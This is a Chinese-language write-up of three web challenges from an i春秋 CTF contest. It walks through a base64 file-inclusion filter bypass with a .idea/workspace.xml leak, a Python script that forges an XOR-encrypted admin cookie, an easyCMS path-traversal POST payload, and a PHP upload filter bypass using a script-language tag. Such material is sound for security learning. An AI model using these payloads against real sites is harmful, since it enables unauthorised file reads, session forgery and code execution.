WP 4 i春秋_百度杯”CTF比賽(九月第一場)
CODE
base64檔案包含,.idea目錄結構洩露,加解密
開啟頁面後,看到一張圖片,且連結為如下形式:
http://528c1f8ff4fe439482ce4069e858e805ad9172679385471a.ctf.game/index.php?jpg=hei.jpg
可以看到引數jpg後面跟著一個檔名,檢視網頁原始碼發現,此圖片是採用BASE64編碼形式顯示的。
所以可以採取如下方式
http://...index.php?jpg=index.php
檢視網頁php原始碼(還要經過一步base64解密)。如下:
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file ));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
可以看到對jpg的引數進行了一些處理,除了大小寫字母、數字和小數點,都會被刪除,並且config會被轉換成下劃線_。
另外注意頭部的註釋,可以看到此程式碼實在phpStorm編寫的。其所使用的IDE環境為intellij idea,而此idea都會在專案根目錄有一個.idea資料夾,其中會洩露原始碼檔名等資訊。
訪問如下網址:
http://528c1f8ff4fe439482ce4069e858e805ad9172679385471a.ctf.game/.idea/workspace.xml
可以看到如下內容
<component name="FileEditorManager">
<leaf SIDE_TABS_SIZE_LIMIT_KEY="300">
<file leaf-file-name="fl3g_ichuqiu.php" pinned="false" current-in-tab="false">
<entry file="file://$PROJECT_DIR$/fl3g_ichuqiu.php">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="-4.071429">
<caret line="6" column="3" selection-start-line="6" selection-start-column="3" selection-end-line="6" selection-end-column="3" />
<folding />
</state>
</provider>
</entry>
</file>
<file leaf-file-name="config.php" pinned="false" current-in-tab="false">
<entry file="file://$PROJECT_DIR$/config.php">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="-6.107143">
<caret line="9" column="2" selection-start-line="9" selection-start-column="2" selection-end-line="9" selection-end-column="2" />
<folding />
</state>
</provider>
</entry>
</file>
<file leaf-file-name="index.php" pinned="false" current-in-tab="true">
<entry file="file://$PROJECT_DIR$/index.php">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.35359803">
<caret line="15" column="30" selection-start-line="15" selection-start-column="30" selection-end-line="15" selection-end-column="30" />
<folding />
</state>
</provider>
</entry>
</file>
</leaf>
</component>
可以看到除了index.php外,還有config.php、fl3g_ichuqiu.php資料夾,如上文所述,index.php中,正好可以構造一下來檢視fl3g_ichuqiu.php檔案的原始碼。如下:
http://528c1f8ff4fe439482ce4069e858e805ad9172679385471a.ctf.game/index.php?jpg=fl3gconfigichuqiu.php
得到fl3g_ichuqiu.php的php原始碼如下
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
function encrypt($txt,$key){
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt = $tmp;
$rnd=random(4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$ttmp .= $txt[$i] ^ $key[++$s];
}
return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
$txt=base64_decode($txt);
$rnd = substr($txt,0,4);
$txt = substr($txt,4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$tmp .= $txt[$i]^$key[++$s];
}
for($i=0;$i<strlen($tmp);$i++){
$tmp1 .= chr(ord($tmp[$i])-10);
}
return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
echo $flag;
}else{
setcookie('user',encrypt('guest',$key));
echo "╮(╯▽╰)╭";
}
?>
可以看到,下一步是構造一個名字為user的cookie,使得其解密後的值為system
。
觀察其加解密函式,可以看到加密函式的內容是先在對原文的每個字元+10偏移。然後獲取一個4位的隨機字串,和$key
(此變數應該在config.php檔案中,無法得到)連線起來進行MD5作為新的$key
。將偏移後的字串與新的$key
進行異或,將隨機的四位字串$rnd
與異或後的結果連線起來進行base64編碼,即為加密結果。
關鍵在於,我們無法獲取config.php檔案中$key
的值,也就無法得到加密時候的md5
結果之$key
,無法將system
進行加密。
分析原始碼,發現在未能解密出system
的時候,伺服器會返回guest
的加密結果。而通過guest
的加密值,我們是能夠逆推回去此次加密所使用的$rnd
和前五位$key
的值的(因為guest
有五位)。所以,在加密system
時,加密時的$rnd
值可以採用相同的值,所以得到的MD5值就與加密guest
所用的$key
相同。而加密system
需要六位$key
的值,那最後一位採用窮舉的辦法。
最後將所有結果都向伺服器傳送一遍,就能得到flag。程式碼如下
#!/usr/bin/python
# coding=utf-8
import base64
import requests
text = 'guest'
crypt = 'YldhV0lHV09O'
crypt = base64.b64decode(crypt)
rnd = crypt[0:4]
crypt = crypt[4:]
text1 = ''
for i in text:
text1 += chr(ord(i) + 10)
key = ''
for (i, j) in zip(text1, crypt):
key += chr(ord(i) ^ ord(j))
text = 'system'
text1 = ''
for i in text:
text1 += chr(ord(i) +10)
cookies = []
for i in '0123456789abcdef':
key1 = key + i
tmp = ''
for (j, k) in zip(text1, key1):
tmp += chr(ord(j) ^ ord(k))
cookies.append(base64.b64encode(rnd + tmp))
#r = requests.session()
for i in cookies:
cookie = {'user':i}
r = requests.session()
result = r.get('http://528c1f8ff4fe439482ce4069e858e805ad9172679385471a.ctf.game/fl3g_ichuqiu.php', cookies=cookie)
print result.text
需要注意的是,不能採用同一個session向伺服器重複傳送請求,這樣會將原本的cookie值也帶著,即伺服器返回的cookie中的user欄位和自己設定的user欄位都會被髮送至伺服器,無法得到結果。
所以每次傳送請求都要新建一個requests的session,最後得到flag如下
flag{de19d81f-2fb9-4176-bb99-79209148630d}
YeserCMS
其實是easyCMS,網上一搜可以看到有大量漏洞。此題看他人的writeup,貌似payload直接被i春秋主站攔截,405錯誤。
略過前面幾步,直接到admin:Yeser231登入,後臺管理這一步。在模板編輯這一塊存在漏洞,點選[編輯]按鈕的時候,會發送一個post請求,獲取檔案原始碼,可以利用此請求獲得flag。
http://c54244941f5543ad9b495a703334da6b8c0a4db052344f91.ctf.game/index.php?case=template&act=fetch&admin_dir=admin&site=default
附帶的post資料為
id=../../flag.php
可以獲得flag
flag{0ffb715a-7289-4704-9ed6-31c54d8820e3
upload
檔案上傳
這道題目能夠上傳檔案,因此可以考慮構造一個php指令碼獲得flag.php檔案的內容。查閱資料的過程中,在這裡看到許多繞過姿勢,可以看到,本題的過濾還是很弱的。
首先上傳了一個php指令碼如下:
<? php
$flag = fopen("../flag.php", "r") or die("unable to open flag.php");
echo fread($flag, filesize("../flag.php"));
fclose($flag);
?>
直接上傳成功,開啟後發現顯示如下:
$flag = fopen("../flag.", "r") or die("unable to open flag."); echo fread($flag, filesize("../flag.")); fclose($flag); ?>
可以看到,<?
和php
均被過濾了。
對於<?
的過濾,可以採用如下方式繞過
<script language="php"> ... </script>
其中php因為被過濾,可以在程式碼中換用大寫字母繞過,程式碼中的“php”可以採用在程式碼中採用大寫字幕,程式轉化為小寫的方式,標籤中的則可以直接改為大寫字母,改為language="pHp"
。
最後php程式碼如下:
<script language="pHp">
$flag = fopen("../flag.".strtolower("PHP"), "r") or die("unable to open the file!");
echo fread($flag, filesize("../flag.".strtolower("PHP")));
fclose($flag);
</script>
檢視網頁原始碼即可看到flag
flag{062f8e8d-8c94-49c0-8d2f-f37f0eab31e2}